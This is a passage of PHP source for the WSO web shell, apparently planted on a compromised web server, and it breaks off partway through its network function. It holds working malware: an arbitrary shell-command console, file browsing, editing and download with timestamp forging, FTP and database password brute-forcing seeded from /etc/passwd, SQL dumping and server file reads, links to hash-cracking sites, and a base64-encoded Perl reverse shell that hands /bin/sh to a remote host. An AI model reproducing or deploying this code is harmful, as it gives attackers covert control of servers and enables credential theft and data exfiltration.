echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 > send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
if (!empty($_POST['p1'])) {
if (in_array($_POST['p1'], $stringTools)) {
echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
}
echo "</pre></div><br><h1>Search files:</h1><div class=content>\n\r\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\n\r\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\n\r\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\n\r\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\n\r\t\t\t<tr><td></td><td><input type='submit' value='>>'></td></tr>\n\r\t\t\t</table></form>";
function wsoRecursiveGlob($path)
{
if (substr($path, -1) != '/') {
$path .= '/';
}
$paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
if (is_array($paths) && @count($paths)) {
foreach ($paths as $item) {
if (@is_dir($item)) {
if ($path != $item) {
wsoRecursiveGlob($item);
}
} else {
if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) {
echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
}
}
}
}
}
if (@$_POST['p3']) {
wsoRecursiveGlob($_POST['c']);
}
echo "</div><br><h1>Search for hash:</h1><div class=content>\n\r\t\t<form method='post' target='_blank' name='hf'>\n\r\t\t\t<input type='text' name='hash' style='width:200px;'><br>\n\r <input type='hidden' name='act' value='find'/>\n\r\t\t\t<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\n\r\t\t\t<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\n\r <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>\n\r\t\t</form></div>";
wsoFooter();
}
function actionFilesTools()
{
if (isset($_POST['p1'])) {
$_POST['p1'] = urldecode($_POST['p1']);
}
if (@$_POST['p2'] == 'download') {
if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else {
header("Content-Type: application/octet-stream");
}
$fp = @fopen($_POST['p1'], "r");
if ($fp) {
while (!@feof($fp)) {
echo @fread($fp, 1024);
}
fclose($fp);
}
}
exit;
}
if (@$_POST['p2'] == 'mkfile') {
if (!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if ($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo "<h1>File tools</h1><div class=content>";
if (!file_exists(@$_POST['p1'])) {
echo "File not exists";
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if (!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else {
$gid = @posix_getgrgid(@filegroup($_POST['p1']));
}
echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
if (empty($_POST['p2'])) {
$_POST['p2'] = 'view';
}
if (is_file($_POST['p1'])) {
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
} else {
$m = array('Chmod', 'Rename', 'Touch');
}
foreach ($m as $v) {
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
}
echo "<br><br>";
switch ($_POST['p2']) {
case 'view':
echo "<pre class=ml1>";
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo htmlspecialchars(@fread($fp, 1024));
}
@fclose($fp);
}
echo "</pre>";
break;
case 'highlight':
if (@is_readable($_POST['p1'])) {
echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
$code = @highlight_file($_POST['p1'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
}
break;
case 'chmod':
if (!empty($_POST['p3'])) {
$perms = 0;
for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
$perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
}
if (!@chmod($_POST['p1'], $perms)) {
echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
break;
case 'edit':
if (!is_writable($_POST['p1'])) {
echo "File isn't writeable";
break;
}
if (!empty($_POST['p3'])) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'], 1);
$fp = @fopen($_POST['p1'], "w");
if ($fp) {
@fwrite($fp, $_POST['p3']);
@fclose($fp);
echo "Saved!<br><script>p3_=\"\";</script>";
@touch($_POST['p1'], $time, $time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo htmlspecialchars(@fread($fp, 1024));
}
@fclose($fp);
}
echo "</textarea><input type=submit value=\">>\"></form>";
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>', '', '');
$len = strlen($c);
for ($i = 0; $i < $len; ++$i) {
$h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
switch (ord($c[$i])) {
case 0:
$h[2] .= ' ';
break;
case 9:
$h[2] .= ' ';
break;
case 10:
$h[2] .= ' ';
break;
case 13:
$h[2] .= ' ';
break;
default:
$h[2] .= $c[$i];
break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i + 1 < $len) {
$h[0] .= sprintf('%08X', $i + 1) . '<br>';
}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
break;
case 'rename':
if (!empty($_POST['p3'])) {
if (!@rename($_POST['p1'], $_POST['p3'])) {
echo "Can't rename!<br>";
} else {
die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
break;
case 'touch':
if (!empty($_POST['p3'])) {
$time = strtotime($_POST['p3']);
if ($time) {
if (!touch($_POST['p1'], $time, $time)) {
echo "Fail!";
} else {
echo "Touched!";
}
} else {
echo "Bad time format!";
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
break;
}
echo "</div>";
wsoFooter();
}
function actionConsole()
{
if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif (!empty($_POST['p1'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';\n";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\x00"));
if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
if (@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='" . $GLOBALS['cwd'] . "';";
}
}
echo "d.cf.output.value+='" . $temp . "';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "\n", $temp;
exit;
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
wsoHeader();
echo "<script>\n\rif(window.Event) window.captureEvents(Event.KEYDOWN);\n\rvar cmds = new Array('');\n\rvar cur = 0;\n\rfunction kp(e) {\n\r\tvar n = (window.Event) ? e.which : e.keyCode;\n\r\tif(n == 38) {\n\r\t\tcur--;\n\r\t\tif(cur>=0)\n\r\t\t\tdocument.cf.cmd.value = cmds[cur];\n\r\t\telse\n\r\t\t\tcur++;\n\r\t} else if(n == 40) {\n\r\t\tcur++;\n\r\t\tif(cur < cmds.length)\n\r\t\t\tdocument.cf.cmd.value = cmds[cur];\n\r\t\telse\n\r\t\t\tcur--;\n\r\t}\n\r}\n\rfunction add(cmd) {\n\r\tcmds.pop();\n\r\tcmds.push(cmd);\n\r\tcmds.push('');\n\r\tcur = cmds.length-1;\n\r}\n\r</script>";
echo "<h1>Console</h1><div class=content><form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;\"><select name=alias>";
foreach ($GLOBALS['aliases'] as $n => $v) {
if ($v == '') {
echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
continue;
}
echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 > send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if (!empty($_POST['p1'])) {
echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
}
echo "</textarea><table style=\"border:1px solid #df5;background-color:#555;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td width=\"1%\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table>";
echo "</form></div><script>d.cf.cmd.focus();</script>";
wsoFooter();
}
function actionLogout()
{
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove()
{
if ($_POST['p1'] == 'yes') {
if (@unlink("/var/www/html/00977a.php.2d59e02ec53c165d0636f6a1a4695ae9.bin")) {
die('Shell has been removed');
} else {
echo "unlink error!";
}
}
if ($_POST['p1'] != 'yes') {
wsoHeader();
}
echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
wsoFooter();
}
function actionBruteforce()
{
wsoHeader();
if (isset($_POST['proto'])) {
echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
if ($_POST['proto'] == 'ftp') {
function wsoBruteForce($ip, $port, $login, $pass)
{
$fp = @ftp_connect($ip, $port ? $port : 21);
if (!$fp) {
return false;
}
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif ($_POST['proto'] == 'mysql') {
function wsoBruteForce($ip, $port, $login, $pass)
{
$res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif ($_POST['proto'] == 'pgsql') {
function wsoBruteForce($ip, $port, $login, $pass)
{
$str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if ($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if (is_array($temp)) {
foreach ($temp as $line) {
$line = explode(":", $line);
++$attempts;
if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
$success++;
echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
}
if (@$_POST['reverse']) {
$tmp = "";
for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
$tmp .= $line[0][$i];
}
++$attempts;
if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
$success++;
echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
}
}
}
}
} elseif ($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if (is_array($temp)) {
foreach ($temp as $line) {
$line = trim($line);
++$attempts;
if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
$success++;
echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
}
}
}
}
echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
}
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo "</div><br>";
wsoFooter();
}
function actionSql()
{
class DbClass
{
var $type;
var $link;
var $res;
function DbClass($type)
{
$this->type = $type;
}
function connect($host, $user, $pass, $dbname)
{
switch ($this->type) {
case 'mysql':
if ($this->link = @mysql_connect($host, $user, $pass, true)) {
return true;
}
break;
case 'pgsql':
$host = explode(':', $host);
if (!$host[1]) {
$host[1] = 5432;
}
if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
return true;
}
break;
}
return false;
}
function selectdb($db)
{
switch ($this->type) {
case 'mysql':
if (@mysql_select_db($db)) {
return true;
}
break;
}
return false;
}
function query($str)
{
switch ($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
case 'pgsql':
return $this->res = @pg_query($this->link, $str);
}
return false;
}
function fetch()
{
$res = func_num_args() ? func_get_arg(0) : $this->res;
switch ($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
case 'pgsql':
return @pg_fetch_assoc($res);
}
return false;
}
function listDbs()
{
switch ($this->type) {
case 'mysql':
return $this->query("SHOW databases");
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
}
return false;
}
function listTables()
{
switch ($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
}
return false;
}
function error()
{
switch ($this->type) {
case 'mysql':
return @mysql_error();
case 'pgsql':
return @pg_last_error();
}
return false;
}
function setCharset($str)
{
switch ($this->type) {
case 'mysql':
if (function_exists('mysql_set_charset')) {
return @mysql_set_charset($str, $this->link);
} else {
$this->query('SET CHARSET ' . $str);
}
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
}
return false;
}
function loadFile($str)
{
switch ($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
$r = array();
while ($i = $this->fetch()) {
$r[] = $i['file'];
}
$this->query('drop table wso2');
return array('file' => implode("\n", $r));
}
return false;
}
function dump($table, $fp = false)
{
switch ($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `' . $table . '`');
$create = mysql_fetch_array($res);
$sql = $create[1] . ";\n";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$this->query('SELECT * FROM `' . $table . '`');
$i = 0;
$head = true;
while ($item = $this->fetch()) {
$sql = '';
if ($i % 1000 == 0) {
$head = true;
$sql = ";\n\n";
}
$columns = array();
foreach ($item as $k => $v) {
if ($v === null) {
$item[$k] = "NULL";
} elseif (is_int($v)) {
$item[$k] = $v;
} else {
$item[$k] = "'" . @mysql_real_escape_string($v) . "'";
}
$columns[] = "`" . $k . "`";
}
if ($head) {
$sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
$head = false;
} else {
$sql .= "\n\t,(" . implode(", ", $item) . ')';
}
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$i++;
}
if (!$head) {
if ($fp) {
fwrite($fp, ";\n\n");
} else {
echo ";\n\n";
}
}
break;
case 'pgsql':
$this->query('SELECT * FROM ' . $table);
while ($item = $this->fetch()) {
$columns = array();
foreach ($item as $k => $v) {
$item[$k] = "'" . addslashes($v) . "'";
$columns[] = $k;
}
$sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
}
break;
}
return false;
}
}
$db = new DbClass($_POST['type']);
if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch ($_POST['charset']) {
case "Windows-1251":
$db->setCharset('cp1251');
break;
case "UTF-8":
$db->setCharset('utf8');
break;
case "KOI8-R":
$db->setCharset('koi8r');
break;
case "KOI8-U":
$db->setCharset('koi8u');
break;
case "cp866":
$db->setCharset('cp866');
break;
}
if (empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach ($_POST['tbl'] as $v) {
$db->dump($v);
}
exit;
} elseif ($fp = @fopen($_POST['file'], 'w')) {
foreach ($_POST['tbl'] as $v) {
$db->dump($v, $fp);
}
fclose($fp);
unset($_POST['p2']);
} else {
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
}
wsoHeader();
echo "\n\r<h1>Sql browser</h1><div class=content>\n\r<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\n\r<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n\r<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\r<td><select name='type'><option value='mysql' ";
if (@$_POST['type'] == 'mysql') {
echo "selected";
}
echo ">MySql</option><option value='pgsql' ";
if (@$_POST['type'] == 'pgsql') {
echo "selected";
}
echo ">PostgreSql</option></select></td>\n\r<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\n\r<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\n\r<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if (isset($_POST['sql_host'])) {
if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch ($_POST['charset']) {
case "Windows-1251":
$db->setCharset('cp1251');
break;
case "UTF-8":
$db->setCharset('utf8');
break;
case "KOI8-R":
$db->setCharset('koi8r');
break;
case "KOI8-U":
$db->setCharset('koi8u');
break;
case "cp866":
$db->setCharset('cp866');
break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while ($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
}
echo "</select>";
} else {
echo $tmp;
}
} else {
echo $tmp;
}
echo "</td>\n\r\t\t\t\t<td><input type=submit value='>>' onclick='fs(d.sf);'></td>\n\r <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\r\t\t\t</tr>\n\r\t\t</table>\n\r\t\t<script>\n\r s_db='" . @addslashes($_POST['sql_base']) . "';\n\r function fs(f) {\n\r if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n\r if(f.p1) f.p1.value='';\n\r if(f.p2) f.p2.value='';\n\r if(f.p3) f.p3.value='';\n\r }\n\r }\n\r\t\t\tfunction st(t,l) {\n\r\t\t\t\td.sf.p1.value = 'select';\n\r\t\t\t\td.sf.p2.value = t;\n\r if(l && d.sf.p3) d.sf.p3.value = l;\n\r\t\t\t\td.sf.submit();\n\r\t\t\t}\n\r\t\t\tfunction is() {\n\r\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\r\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\r\t\t\t}\n\r\t\t</script>";
if (isset($db) && $db->link) {
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if (!empty($_POST['sql_base'])) {
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while ($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if (!empty($_POST['sql_count'])) {
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
}
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if (@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
echo " of {$pages}";
if ($_POST['p3'] > 1) {
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
}
if ($_POST['p3'] < $pages) {
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
}
$_POST['p3']--;
if ($_POST['type'] == 'pgsql') {
$_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
} else {
$_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
}
echo "<br><br>";
}
if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if ($db->res !== false) {
$title = false;
echo "<table width=100% cellspacing=1 cellpadding=2 class=main style=\"background-color:#292929\">";
$line = 1;
while ($item = $db->fetch()) {
if (!$title) {
echo "<tr>";
foreach ($item as $key => $value) {
echo '<th>' . $key . '</th>';
}
reset($item);
$title = true;
echo "</tr><tr>";
$line = 2;
}
echo '<tr class="l' . $line . '">';
$line = $line == 1 ? 2 : 1;
foreach ($item as $key => $value) {
if ($value == null) {
echo "<td><i>null</i></td>";
} else {
echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
}
}
echo "</tr>";
}
echo "</table>";
} else {
echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
echo htmlspecialchars($_POST['p2']);
}
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if ($_POST['type'] == 'mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if ($db->fetch()) {
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
}
if (@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo "</div>";
wsoFooter();
}
function actionNetwork()
{
wsoHeader();
$back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
